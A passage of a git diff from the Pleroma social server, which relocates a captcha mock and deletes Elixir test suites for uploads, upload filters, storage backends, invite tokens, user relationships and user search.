=> 1, "unlisted" => 5} = - Stats.get_status_visibility_count(local_instance) - - assert %{"direct" => 0, "private" => 20, "public" => 0, "unlisted" => 0} = - Stats.get_status_visibility_count(instance2) - end - end -end diff --git a/test/support/captcha/mock.ex b/test/support/captcha/mock.ex new file mode 100644 index 000000000..2ed2ba3b4 --- /dev/null +++ b/test/support/captcha/mock.ex @@ -0,0 +1,28 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Captcha.Mock do + alias Pleroma.Captcha.Service + @behaviour Service + + @solution "63615261b77f5354fb8c4e4986477555" + + def solution, do: @solution + + @impl Service + def new, + do: %{ + type: :mock, + token: "afa1815e14e29355e6c8f6b143a39fa2", + answer_data: @solution, + url: "https://example.org/captcha.png", + seconds_valid: 300 + } + + @impl Service + def validate(_token, captcha, captcha) when not is_nil(captcha), do: :ok + + def validate(_token, captcha, answer), + do: {:error, "Invalid CAPTCHA captcha: #{inspect(captcha)} ; answer: #{inspect(answer)}"} +end diff --git a/test/support/captcha_mock.ex b/test/support/captcha_mock.ex deleted file mode 100644 index 2ed2ba3b4..000000000 --- a/test/support/captcha_mock.ex +++ /dev/null @@ -1,28 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Captcha.Mock do - alias Pleroma.Captcha.Service - @behaviour Service - - @solution "63615261b77f5354fb8c4e4986477555" - - def solution, do: @solution - - @impl Service - def new, - do: %{ - type: :mock, - token: "afa1815e14e29355e6c8f6b143a39fa2", - answer_data: @solution, - url: "https://example.org/captcha.png", - seconds_valid: 300 - } - - @impl Service - def validate(_token, captcha, captcha) when not is_nil(captcha), do: :ok - - def validate(_token, captcha, answer), - do: {:error, "Invalid CAPTCHA captcha: #{inspect(captcha)} ; answer: #{inspect(answer)}"} -end diff --git a/test/upload/filter/anonymize_filename_test.exs b/test/upload/filter/anonymize_filename_test.exs deleted file mode 100644 index 19b915cc8..000000000 --- a/test/upload/filter/anonymize_filename_test.exs +++ /dev/null @@ -1,42 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Upload.Filter.AnonymizeFilenameTest do - use Pleroma.DataCase - - alias Pleroma.Config - alias Pleroma.Upload - - setup do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - upload_file = %Upload{ - name: "an… image.jpg", - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg") - } - - %{upload_file: upload_file} - end - - setup do: clear_config([Pleroma.Upload.Filter.AnonymizeFilename, :text]) - - test "it replaces filename on pre-defined text", %{upload_file: upload_file} do - Config.put([Upload.Filter.AnonymizeFilename, :text], "custom-file.png") - {:ok, :filtered, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) - assert name == "custom-file.png" - end - - test "it replaces filename on pre-defined text expression", %{upload_file: upload_file} do - Config.put([Upload.Filter.AnonymizeFilename, :text], "custom-file.{extension}") - {:ok, :filtered, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) - assert name == "custom-file.jpg" - end - - test "it replaces filename on random text", %{upload_file: upload_file} do - {:ok, :filtered, %Upload{name: name}} = Upload.Filter.AnonymizeFilename.filter(upload_file) - assert <<_::bytes-size(14)>> <> ".jpg" = name - refute name == "an… image.jpg" - end -end diff --git a/test/upload/filter/dedupe_test.exs b/test/upload/filter/dedupe_test.exs deleted file mode 100644 index 75c7198e1..000000000 --- a/test/upload/filter/dedupe_test.exs +++ /dev/null @@ -1,32 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Upload.Filter.DedupeTest do - use Pleroma.DataCase - - alias Pleroma.Upload - alias Pleroma.Upload.Filter.Dedupe - - @shasum "e30397b58d226d6583ab5b8b3c5defb0c682bda5c31ef07a9f57c1c4986e3781" - - test "adds shasum" do - File.cp!( - "test/fixtures/image.jpg", - "test/fixtures/image_tmp.jpg" - ) - - upload = %Upload{ - name: "an… image.jpg", - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - tempfile: Path.absname("test/fixtures/image_tmp.jpg") - } - - assert { - :ok, - :filtered, - %Pleroma.Upload{id: @shasum, path: @shasum <> ".jpg"} - } = Dedupe.filter(upload) - end -end diff --git a/test/upload/filter/mogrifun_test.exs b/test/upload/filter/mogrifun_test.exs deleted file mode 100644 index dc1e9e78f..000000000 --- a/test/upload/filter/mogrifun_test.exs +++ /dev/null @@ -1,44 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Upload.Filter.MogrifunTest do - use Pleroma.DataCase - import Mock - - alias Pleroma.Upload - alias Pleroma.Upload.Filter - - test "apply mogrify filter" do - File.cp!( - "test/fixtures/image.jpg", - "test/fixtures/image_tmp.jpg" - ) - - upload = %Upload{ - name: "an… image.jpg", - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - tempfile: Path.absname("test/fixtures/image_tmp.jpg") - } - - task = - Task.async(fn -> - assert_receive {:apply_filter, {}}, 4_000 - end) - - with_mocks([ - {Mogrify, [], - [ - open: fn _f -> %Mogrify.Image{} end, - custom: fn _m, _a -> send(task.pid, {:apply_filter, {}}) end, - custom: fn _m, _a, _o -> send(task.pid, {:apply_filter, {}}) end, - save: fn _f, _o -> :ok end - ]} - ]) do - assert Filter.Mogrifun.filter(upload) == {:ok, :filtered} - end - - Task.await(task) - end -end diff --git a/test/upload/filter/mogrify_test.exs b/test/upload/filter/mogrify_test.exs deleted file mode 100644 index bf64b96b3..000000000 --- a/test/upload/filter/mogrify_test.exs +++ /dev/null @@ -1,41 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Upload.Filter.MogrifyTest do - use Pleroma.DataCase - import Mock - - alias Pleroma.Upload.Filter - - test "apply mogrify filter" do - clear_config(Filter.Mogrify, args: [{"tint", "40"}]) - - File.cp!( - "test/fixtures/image.jpg", - "test/fixtures/image_tmp.jpg" - ) - - upload = %Pleroma.Upload{ - name: "an… image.jpg", - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - tempfile: Path.absname("test/fixtures/image_tmp.jpg") - } - - task = - Task.async(fn -> - assert_receive {:apply_filter, {_, "tint", "40"}}, 4_000 - end) - - with_mock Mogrify, - open: fn _f -> %Mogrify.Image{} end, - custom: fn _m, _a -> :ok end, - custom: fn m, a, o -> send(task.pid, {:apply_filter, {m, a, o}}) end, - save: fn _f, _o -> :ok end do - assert Filter.Mogrify.filter(upload) == {:ok, :filtered} - end - - Task.await(task) - end -end diff --git a/test/upload/filter_test.exs b/test/upload/filter_test.exs deleted file mode 100644 index 352b66402..000000000 --- a/test/upload/filter_test.exs +++ /dev/null @@ -1,33 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Upload.FilterTest do - use Pleroma.DataCase - - alias Pleroma.Config - alias Pleroma.Upload.Filter - - setup do: clear_config([Pleroma.Upload.Filter.AnonymizeFilename, :text]) - - test "applies filters" do - Config.put([Pleroma.Upload.Filter.AnonymizeFilename, :text], "custom-file.png") - - File.cp!( - "test/fixtures/image.jpg", - "test/fixtures/image_tmp.jpg" - ) - - upload = %Pleroma.Upload{ - name: "an… image.jpg", - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - tempfile: Path.absname("test/fixtures/image_tmp.jpg") - } - - assert Filter.filter([], upload) == {:ok, upload} - - assert {:ok, upload} = Filter.filter([Pleroma.Upload.Filter.AnonymizeFilename], upload) - assert upload.name == "custom-file.png" - end -end diff --git a/test/upload_test.exs b/test/upload_test.exs deleted file mode 100644 index b06b54487..000000000 --- a/test/upload_test.exs +++ /dev/null @@ -1,287 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.UploadTest do - use Pleroma.DataCase - - import ExUnit.CaptureLog - - alias Pleroma.Upload - alias Pleroma.Uploaders.Uploader - - @upload_file %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "image.jpg" - } - - defmodule TestUploaderBase do - def put_file(%{path: path} = _upload, module_name) do - task_pid = - Task.async(fn -> - :timer.sleep(10) - - {Uploader, path} - |> :global.whereis_name() - |> send({Uploader, self(), {:test}, %{}}) - - assert_receive {Uploader, {:test}}, 4_000 - end) - - Agent.start(fn -> task_pid end, name: module_name) - - :wait_callback - end - end - - describe "Tried storing a file when http callback response success result" do - defmodule TestUploaderSuccess do - def http_callback(conn, _params), - do: {:ok, conn, {:file, "post-process-file.jpg"}} - - def put_file(upload), do: TestUploaderBase.put_file(upload, __MODULE__) - end - - setup do: [uploader: TestUploaderSuccess] - setup [:ensure_local_uploader] - - test "it returns file" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - assert Upload.store(@upload_file) == - {:ok, - %{ - "name" => "image.jpg", - "type" => "Document", - "mediaType" => "image/jpeg", - "url" => [ - %{ - "href" => "http://localhost:4001/media/post-process-file.jpg", - "mediaType" => "image/jpeg", - "type" => "Link" - } - ] - }} - - Task.await(Agent.get(TestUploaderSuccess, fn task_pid -> task_pid end)) - end - end - - describe "Tried storing a file when http callback response error" do - defmodule TestUploaderError do - def http_callback(conn, _params), do: {:error, conn, "Errors"} - - def put_file(upload), do: TestUploaderBase.put_file(upload, __MODULE__) - end - - setup do: [uploader: TestUploaderError] - setup [:ensure_local_uploader] - - test "it returns error" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - assert capture_log(fn -> - assert Upload.store(@upload_file) == {:error, "Errors"} - Task.await(Agent.get(TestUploaderError, fn task_pid -> task_pid end)) - end) =~ - "[error] Elixir.Pleroma.Upload store (using Pleroma.UploadTest.TestUploaderError) failed: \"Errors\"" - end - end - - describe "Tried storing a file when http callback doesn't response by timeout" do - defmodule(TestUploader, do: def(put_file(_upload), do: :wait_callback)) - setup do: [uploader: TestUploader] - setup [:ensure_local_uploader] - - test "it returns error" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - assert capture_log(fn -> - assert Upload.store(@upload_file) == {:error, "Uploader callback timeout"} - end) =~ - "[error] Elixir.Pleroma.Upload store (using Pleroma.UploadTest.TestUploader) failed: \"Uploader callback timeout\"" - end - end - - describe "Storing a file with the Local uploader" do - setup [:ensure_local_uploader] - - test "does not allow descriptions longer than the post limit" do - clear_config([:instance, :description_limit], 2) - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "image.jpg" - } - - {:error, :description_too_long} = Upload.store(file, description: "123") - end - - test "returns a media url" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "image.jpg" - } - - {:ok, data} = Upload.store(file) - - assert %{"url" => [%{"href" => url}]} = data - - assert String.starts_with?(url, Pleroma.Web.base_url() <> "/media/") - end - - test "copies the file to the configured folder with deduping" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "an [image.jpg" - } - - {:ok, data} = Upload.store(file, filters: [Pleroma.Upload.Filter.Dedupe]) - - assert List.first(data["url"])["href"] == - Pleroma.Web.base_url() <> - "/media/e30397b58d226d6583ab5b8b3c5defb0c682bda5c31ef07a9f57c1c4986e3781.jpg" - end - - test "copies the file to the configured folder without deduping" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "an [image.jpg" - } - - {:ok, data} = Upload.store(file) - assert data["name"] == "an [image.jpg" - end - - test "fixes incorrect content type" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "application/octet-stream", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "an [image.jpg" - } - - {:ok, data} = Upload.store(file, filters: [Pleroma.Upload.Filter.Dedupe]) - assert hd(data["url"])["mediaType"] == "image/jpeg" - end - - test "adds missing extension" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "an [image" - } - - {:ok, data} = Upload.store(file) - assert data["name"] == "an [image.jpg" - end - - test "fixes incorrect file extension" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "an [image.blah" - } - - {:ok, data} = Upload.store(file) - assert data["name"] == "an [image.jpg" - end - - test "don't modify filename of an unknown type" do - File.cp("test/fixtures/test.txt", "test/fixtures/test_tmp.txt") - - file = %Plug.Upload{ - content_type: "text/plain", - path: Path.absname("test/fixtures/test_tmp.txt"), - filename: "test.txt" - } - - {:ok, data} = Upload.store(file) - assert data["name"] == "test.txt" - end - - test "copies the file to the configured folder with anonymizing filename" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "an [image.jpg" - } - - {:ok, data} = Upload.store(file, filters: [Pleroma.Upload.Filter.AnonymizeFilename]) - - refute data["name"] == "an [image.jpg" - end - - test "escapes invalid characters in url" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "an… image.jpg" - } - - {:ok, data} = Upload.store(file) - [attachment_url | _] = data["url"] - - assert Path.basename(attachment_url["href"]) == "an%E2%80%A6%20image.jpg" - end - - test "escapes reserved uri characters" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: ":?#[]@!$&\\'()*+,;=.jpg" - } - - {:ok, data} = Upload.store(file) - [attachment_url | _] = data["url"] - - assert Path.basename(attachment_url["href"]) == - "%3A%3F%23%5B%5D%40%21%24%26%5C%27%28%29%2A%2B%2C%3B%3D.jpg" - end - end - - describe "Setting a custom base_url for uploaded media" do - setup do: clear_config([Pleroma.Upload, :base_url], "https://cache.pleroma.social") - - test "returns a media url with configured base_url" do - base_url = Pleroma.Config.get([Pleroma.Upload, :base_url]) - - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "image.jpg" - } - - {:ok, data} = Upload.store(file, base_url: base_url) - - assert %{"url" => [%{"href" => url}]} = data - - refute String.starts_with?(url, base_url <> "/media/") - end - end -end diff --git a/test/uploaders/local_test.exs b/test/uploaders/local_test.exs deleted file mode 100644 index 18122ff6c..000000000 --- a/test/uploaders/local_test.exs +++ /dev/null @@ -1,55 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Uploaders.LocalTest do - use Pleroma.DataCase - alias Pleroma.Uploaders.Local - - describe "get_file/1" do - test "it returns path to local folder for files" do - assert Local.get_file("") == {:ok, {:static_dir, "test/uploads"}} - end - end - - describe "put_file/1" do - test "put file to local folder" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - file_path = "local_upload/files/image.jpg" - - file = %Pleroma.Upload{ - name: "image.jpg", - content_type: "image/jpg", - path: file_path, - tempfile: Path.absname("test/fixtures/image_tmp.jpg") - } - - assert Local.put_file(file) == :ok - - assert Path.join([Local.upload_path(), file_path]) - |> File.exists?() - end - end - - describe "delete_file/1" do - test "deletes local file" do - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - file_path = "local_upload/files/image.jpg" - - file = %Pleroma.Upload{ - name: "image.jpg", - content_type: "image/jpg", - path: file_path, - tempfile: Path.absname("test/fixtures/image_tmp.jpg") - } - - :ok = Local.put_file(file) - local_path = Path.join([Local.upload_path(), file_path]) - assert File.exists?(local_path) - - Local.delete_file(file_path) - - refute File.exists?(local_path) - end - end -end diff --git a/test/uploaders/s3_test.exs b/test/uploaders/s3_test.exs deleted file mode 100644 index d949c90a5..000000000 --- a/test/uploaders/s3_test.exs +++ /dev/null @@ -1,88 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Uploaders.S3Test do - use Pleroma.DataCase - - alias Pleroma.Config - alias Pleroma.Uploaders.S3 - - import Mock - import ExUnit.CaptureLog - - setup do: - clear_config(Pleroma.Uploaders.S3, - bucket: "test_bucket", - public_endpoint: "https://s3.amazonaws.com" - ) - - describe "get_file/1" do - test "it returns path to local folder for files" do - assert S3.get_file("test_image.jpg") == { - :ok, - {:url, "https://s3.amazonaws.com/test_bucket/test_image.jpg"} - } - end - - test "it returns path without bucket when truncated_namespace set to ''" do - Config.put([Pleroma.Uploaders.S3], - bucket: "test_bucket", - public_endpoint: "https://s3.amazonaws.com", - truncated_namespace: "" - ) - - assert S3.get_file("test_image.jpg") == { - :ok, - {:url, "https://s3.amazonaws.com/test_image.jpg"} - } - end - - test "it returns path with bucket namespace when namespace is set" do - Config.put([Pleroma.Uploaders.S3], - bucket: "test_bucket", - public_endpoint: "https://s3.amazonaws.com", - bucket_namespace: "family" - ) - - assert S3.get_file("test_image.jpg") == { - :ok, - {:url, "https://s3.amazonaws.com/family:test_bucket/test_image.jpg"} - } - end - end - - describe "put_file/1" do - setup do - file_upload = %Pleroma.Upload{ - name: "image-tet.jpg", - content_type: "image/jpg", - path: "test_folder/image-tet.jpg", - tempfile: Path.absname("test/instance_static/add/shortcode.png") - } - - [file_upload: file_upload] - end - - test "save file", %{file_upload: file_upload} do - with_mock ExAws, request: fn _ -> {:ok, :ok} end do - assert S3.put_file(file_upload) == {:ok, {:file, "test_folder/image-tet.jpg"}} - end - end - - test "returns error", %{file_upload: file_upload} do - with_mock ExAws, request: fn _ -> {:error, "S3 Upload failed"} end do - assert capture_log(fn -> - assert S3.put_file(file_upload) == {:error, "S3 Upload failed"} - end) =~ "Elixir.Pleroma.Uploaders.S3: {:error, \"S3 Upload failed\"}" - end - end - end - - describe "delete_file/1" do - test_with_mock "deletes file", ExAws, request: fn _req -> {:ok, %{status_code: 204}} end do - assert :ok = S3.delete_file("image.jpg") - assert_called(ExAws.request(:_)) - end - end -end diff --git a/test/user/notification_setting_test.exs b/test/user/notification_setting_test.exs deleted file mode 100644 index 308da216a..000000000 --- a/test/user/notification_setting_test.exs +++ /dev/null @@ -1,21 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.User.NotificationSettingTest do - use Pleroma.DataCase - - alias Pleroma.User.NotificationSetting - - describe "changeset/2" do - test "sets option to hide notification contents" do - changeset = - NotificationSetting.changeset( - %NotificationSetting{}, - %{"hide_notification_contents" => true} - ) - - assert %Ecto.Changeset{valid?: true} = changeset - end - end -end diff --git a/test/user_invite_token_test.exs b/test/user_invite_token_test.exs deleted file mode 100644 index 63f18f13c..000000000 --- a/test/user_invite_token_test.exs +++ /dev/null @@ -1,96 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.UserInviteTokenTest do - use ExUnit.Case, async: true - alias Pleroma.UserInviteToken - - describe "valid_invite?/1 one time invites" do - setup do - invite = %UserInviteToken{invite_type: "one_time"} - - {:ok, invite: invite} - end - - test "not used returns true", %{invite: invite} do - invite = %{invite | used: false} - assert UserInviteToken.valid_invite?(invite) - end - - test "used returns false", %{invite: invite} do - invite = %{invite | used: true} - refute UserInviteToken.valid_invite?(invite) - end - end - - describe "valid_invite?/1 reusable invites" do - setup do - invite = %UserInviteToken{ - invite_type: "reusable", - max_use: 5 - } - - {:ok, invite: invite} - end - - test "with less uses then max use returns true", %{invite: invite} do - invite = %{invite | uses: 4} - assert UserInviteToken.valid_invite?(invite) - end - - test "with equal or more uses then max use returns false", %{invite: invite} do - invite = %{invite | uses: 5} - - refute UserInviteToken.valid_invite?(invite) - - invite = %{invite | uses: 6} - - refute UserInviteToken.valid_invite?(invite) - end - end - - describe "valid_token?/1 date limited invites" do - setup do - invite = %UserInviteToken{invite_type: "date_limited"} - {:ok, invite: invite} - end - - test "expires today returns true", %{invite: invite} do - invite = %{invite | expires_at: Date.utc_today()} - assert UserInviteToken.valid_invite?(invite) - end - - test "expires yesterday returns false", %{invite: invite} do - invite = %{invite | expires_at: Date.add(Date.utc_today(), -1)} - refute UserInviteToken.valid_invite?(invite) - end - end - - describe "valid_token?/1 reusable date limited invites" do - setup do - invite = %UserInviteToken{invite_type: "reusable_date_limited", max_use: 5} - {:ok, invite: invite} - end - - test "not overdue date and less uses returns true", %{invite: invite} do - invite = %{invite | expires_at: Date.utc_today(), uses: 4} - assert UserInviteToken.valid_invite?(invite) - end - - test "overdue date and less uses returns false", %{invite: invite} do - invite = %{invite | expires_at: Date.add(Date.utc_today(), -1)} - refute UserInviteToken.valid_invite?(invite) - end - - test "not overdue date with more uses returns false", %{invite: invite} do - invite = %{invite | expires_at: Date.utc_today(), uses: 5} - refute UserInviteToken.valid_invite?(invite) - end - - test "overdue date with more uses returns false", %{invite: invite} do - invite = %{invite | expires_at: Date.add(Date.utc_today(), -1), uses: 5} - refute UserInviteToken.valid_invite?(invite) - end - end -end diff --git a/test/user_relationship_test.exs b/test/user_relationship_test.exs deleted file mode 100644 index f12406097..000000000 --- a/test/user_relationship_test.exs +++ /dev/null @@ -1,130 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.UserRelationshipTest do - alias Pleroma.UserRelationship - - use Pleroma.DataCase - - import Pleroma.Factory - - describe "*_exists?/2" do - setup do - {:ok, users: insert_list(2, :user)} - end - - test "returns false if record doesn't exist", %{users: [user1, user2]} do - refute UserRelationship.block_exists?(user1, user2) - refute UserRelationship.mute_exists?(user1, user2) - refute UserRelationship.notification_mute_exists?(user1, user2) - refute UserRelationship.reblog_mute_exists?(user1, user2) - refute UserRelationship.inverse_subscription_exists?(user1, user2) - end - - test "returns true if record exists", %{users: [user1, user2]} do - for relationship_type <- [ - :block, - :mute, - :notification_mute, - :reblog_mute, - :inverse_subscription - ] do - insert(:user_relationship, - source: user1, - target: user2, - relationship_type: relationship_type - ) - end - - assert UserRelationship.block_exists?(user1, user2) - assert UserRelationship.mute_exists?(user1, user2) - assert UserRelationship.notification_mute_exists?(user1, user2) - assert UserRelationship.reblog_mute_exists?(user1, user2) - assert UserRelationship.inverse_subscription_exists?(user1, user2) - end - end - - describe "create_*/2" do - setup do - {:ok, users: insert_list(2, :user)} - end - - test "creates user relationship record if it doesn't exist", %{users: [user1, user2]} do - for relationship_type <- [ - :block, - :mute, - :notification_mute, - :reblog_mute, - :inverse_subscription - ] do - insert(:user_relationship, - source: user1, - target: user2, - relationship_type: relationship_type - ) - end - - UserRelationship.create_block(user1, user2) - UserRelationship.create_mute(user1, user2) - UserRelationship.create_notification_mute(user1, user2) - UserRelationship.create_reblog_mute(user1, user2) - UserRelationship.create_inverse_subscription(user1, user2) - - assert UserRelationship.block_exists?(user1, user2) - assert UserRelationship.mute_exists?(user1, user2) - assert UserRelationship.notification_mute_exists?(user1, user2) - assert UserRelationship.reblog_mute_exists?(user1, user2) - assert UserRelationship.inverse_subscription_exists?(user1, user2) - end - - test "if record already exists, returns it", %{users: [user1, user2]} do - user_block = UserRelationship.create_block(user1, user2) - assert user_block == UserRelationship.create_block(user1, user2) - end - end - - describe "delete_*/2" do - setup do - {:ok, users: insert_list(2, :user)} - end - - test "deletes user relationship record if it exists", %{users: [user1, user2]} do - for relationship_type <- [ - :block, - :mute, - :notification_mute, - :reblog_mute, - :inverse_subscription - ] do - insert(:user_relationship, - source: user1, - target: user2, - relationship_type: relationship_type - ) - end - - assert {:ok, %UserRelationship{}} = UserRelationship.delete_block(user1, user2) - assert {:ok, %UserRelationship{}} = UserRelationship.delete_mute(user1, user2) - assert {:ok, %UserRelationship{}} = UserRelationship.delete_notification_mute(user1, user2) - assert {:ok, %UserRelationship{}} = UserRelationship.delete_reblog_mute(user1, user2) - - assert {:ok, %UserRelationship{}} = - UserRelationship.delete_inverse_subscription(user1, user2) - - refute UserRelationship.block_exists?(user1, user2) - refute UserRelationship.mute_exists?(user1, user2) - refute UserRelationship.notification_mute_exists?(user1, user2) - refute UserRelationship.reblog_mute_exists?(user1, user2) - refute UserRelationship.inverse_subscription_exists?(user1, user2) - end - - test "if record does not exist, returns {:ok, nil}", %{users: [user1, user2]} do - assert {:ok, nil} = UserRelationship.delete_block(user1, user2) - assert {:ok, nil} = UserRelationship.delete_mute(user1, user2) - assert {:ok, nil} = UserRelationship.delete_notification_mute(user1, user2) - assert {:ok, nil} = UserRelationship.delete_reblog_mute(user1, user2) - assert {:ok, nil} = UserRelationship.delete_inverse_subscription(user1, user2) - end - end -end diff --git a/test/user_search_test.exs b/test/user_search_test.exs deleted file mode 100644 index c4b805005..000000000 --- a/test/user_search_test.exs +++ /dev/null @@ -1,362 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.UserSearchTest do - alias Pleroma.Repo - alias Pleroma.User - use Pleroma.DataCase - - import Pleroma.Factory - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - describe "User.search" do - setup do: clear_config([:instance, :limit_to_local_content]) - - test "returns a resolved user as the first result" do - Pleroma.Config.put([:instance, :limit_to_local_content], false) - user = insert(:user, %{nickname: "no_relation", ap_id: "https://lain.com/users/lain"}) - _user = insert(:user, %{nickname: "com_user"}) - - [first_user, _second_user] = User.search("https://lain.com/users/lain", resolve: true) - - assert first_user.id == user.id - end - - test "returns a user with matching ap_id as the first result" do - user = insert(:user, %{nickname: "no_relation", ap_id: "https://lain.com/users/lain"}) - _user = insert(:user, %{nickname: "com_user"}) - - [first_user, _second_user] = User.search("https://lain.com/users/lain") - - assert first_user.id == user.id - end - - test "doesn't die if two users have the same uri" do - insert(:user, %{uri: "https://gensokyo.2hu/@raymoo"}) - insert(:user, %{uri: "https://gensokyo.2hu/@raymoo"}) - assert [_first_user, _second_user] = User.search("https://gensokyo.2hu/@raymoo") - end - - test "returns a user with matching uri as the first result" do - user = - insert(:user, %{ - nickname: "no_relation", - ap_id: "https://lain.com/users/lain", - uri: "https://lain.com/@lain" - }) - - _user = insert(:user, %{nickname: "com_user"}) - - [first_user, _second_user] = User.search("https://lain.com/@lain") - - assert first_user.id == user.id - end - - test "excludes invisible users from results" do - user = insert(:user, %{nickname: "john t1000"}) - insert(:user, %{invisible: true, nickname: "john t800"}) - - [found_user] = User.search("john") - assert found_user.id == user.id - end - - test "excludes users when discoverable is false" do - insert(:user, %{nickname: "john 3000", discoverable: false}) - insert(:user, %{nickname: "john 3001"}) - - users = User.search("john") - assert Enum.count(users) == 1 - end - - test "excludes service actors from results" do - insert(:user, actor_type: "Application", nickname: "user1") - service = insert(:user, actor_type: "Service", nickname: "user2") - person = insert(:user, actor_type: "Person", nickname: "user3") - - assert [found_user1, found_user2] = User.search("user") - assert [found_user1.id, found_user2.id] -- [service.id, person.id] == [] - end - - test "accepts limit parameter" do - Enum.each(0..4, &insert(:user, %{nickname: "john#{&1}"})) - assert length(User.search("john", limit: 3)) == 3 - assert length(User.search("john")) == 5 - end - - test "accepts offset parameter" do - Enum.each(0..4, &insert(:user, %{nickname: "john#{&1}"})) - assert length(User.search("john", limit: 3)) == 3 - assert length(User.search("john", limit: 3, offset: 3)) == 2 - end - - defp clear_virtual_fields(user) do - Map.merge(user, %{search_rank: nil, search_type: nil}) - end - - test "finds a user by full nickname or its leading fragment" do - user = insert(:user, %{nickname: "john"}) - - Enum.each(["john", "jo", "j"], fn query -> - assert user == - User.search(query) - |> List.first() - |> clear_virtual_fields() - end) - end - - test "finds a user by full name or leading fragment(s) of its words" do - user = insert(:user, %{name: "John Doe"}) - - Enum.each(["John Doe", "JOHN", "doe", "j d", "j", "d"], fn 